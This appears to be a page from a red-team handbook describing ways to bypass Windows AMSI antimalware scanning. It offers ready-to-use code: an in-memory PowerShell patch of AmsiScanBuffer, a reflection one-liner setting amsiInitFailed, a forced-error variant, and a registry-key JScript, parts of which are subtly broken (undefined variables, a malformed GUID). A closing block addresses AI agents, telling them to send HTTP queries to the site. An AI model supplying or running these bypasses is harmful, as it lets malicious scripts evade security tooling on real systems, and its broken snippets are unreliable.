# AMSI Bypasses

## Patching

When a process is created, amsi.dll is loaded and mapped into the virtual address space of the function. This means we can modify certain functions and patch them so that they function differently.

In our case, AmsiScanBuffer is the function used to detect malicious content, meaning that we want to patch the AmsiScanBuffer function so it always returns AMSI\_RESULT\_CLEAN(not malicious).

To do this, we need to find the AMSI\_RESULT\_CLEAN instructions in x86, this is mov EAX,0x80070057:&#x20;

![](/files/-MgJIo7ngBkVd99F8TEc)

The hex for this is  0xB8.0x57.0x00.0x07.0x80

The value 0x80070057 is an error code from Microsoft which stands for E\_INVALIDARG. AmsiScanBuffer() uses this to return when the parameters passed by the caller code are not valid.&#x20;

We can modify the AmsiScanBuffer() function in memory to always force it to return 0x80070057, which will return AMSI\_RESULT\_CLEAN as a result.

To patch this, we can use this powershell snippet:

```javascript
$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("amsi.dll")
$DllGetClassObjectAddress = [Win32]::GetProcAddress($LoadLibrary, "DllGetClassObject")
$ASBAddress = [System.IntPtr]::New($DllGetClassObjectAddress.ToInt64() + [Int64](3248))
$oldProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, 0x40, [ref]$oldProtect) | Out-null
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $ASBAddress, $Patch.Length)
$newProtect = 0
[Win32]::VirtualProtect($ASBAddress, [uint32]5, $x, [ref]$newProtect) | Out-null 

```

Forcing it to return 0x80070057 is not the only way to do it too, we can also make it return zero with something like: `sub eax, eax | ret`.

## Reflection

Reflection allows us to violate the rules of OOP and allow us to modify private variables which speaking, should not be accessed from outside their classes.&#x20;

This bypass uses reflection to set "amsiInitFailed" to true so that our AMSI result will return AMSI\_RESULT.AMSI\_RESULT\_NOT\_DETECTED; Which bypasses AMSI checking. We can see how this works in the following logic in “System.Management.Automation.AmsiUtils” :

```csharp
internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
{
if (string.IsNullOrEmpty(sourceMetadata))
{
    sourceMetadata = string.Empty;
}
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf(“X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*”, StringComparison.Ordinal) >= 0)
{
    return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
}
if (AmsiUtils.amsiInitFailed)
{
    return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
…
}
```

Our reflection bypass will look like this:&#x20;

```csharp
[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)
```

1. \[Ref] abbreviates to \[System.Management.Automation.PSReference].
2. &#x20;To get direct access to the dll, we add the ".Assembly"
3. We then call the GetType function which retrieves a handle to the internal class Utils.&#x20;
4. With this handle, we can begin to fetch the amsiInitFailed field by calling the GetField function, we specify nonpublic and static because GetField requires this(needs binding flags.)
5. We then set that value so it can return: AMSI\_RESULT.AMSI\_RESULT\_NOT\_DETECTED;

## Force Error

```csharp
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiSession”,”NonPublic,Static”).SetValue($null, $null);[Ref].Assembly.GetType(“System.Management.Automation.AmsiUtils”).GetField(“amsiContext”,”NonPublic,Static”).SetValue($null, [IntPtr]$mem)
```

## Reg Key

There is a AMSI registry key, which if turned off should disable AMSI. Note that this requires the payload to be run twice

1. first run sets the registry key
2. second run executes the payload

```csharp
var shelly = new ActiveXObject('Wscript.Shell');
var key = "HKCU\\Software\Microsoft\Windows Script\\Settings\\AmsiEnabled";

try{
    var enabled = shelly.RegRead(key);
    if(enabled!=0){
    throw new error(1, '');
    }
}catch(e){
    shelly.RegWrite(key, 0, "REG_DWORD");
    sh.Run("cscript -e:F414C262-6AC0-11CF-00AA00BBBB58} "+WscriptFullName,0,1);
    sh.RegWrite(key,1,"REG_DWORD");
    Wscript.Quit(1);
}
```

### Resources

{% embed url="<https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/>" %}

{% embed url="<https://x64sec.sh/understanding-and-bypassing-amsi/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
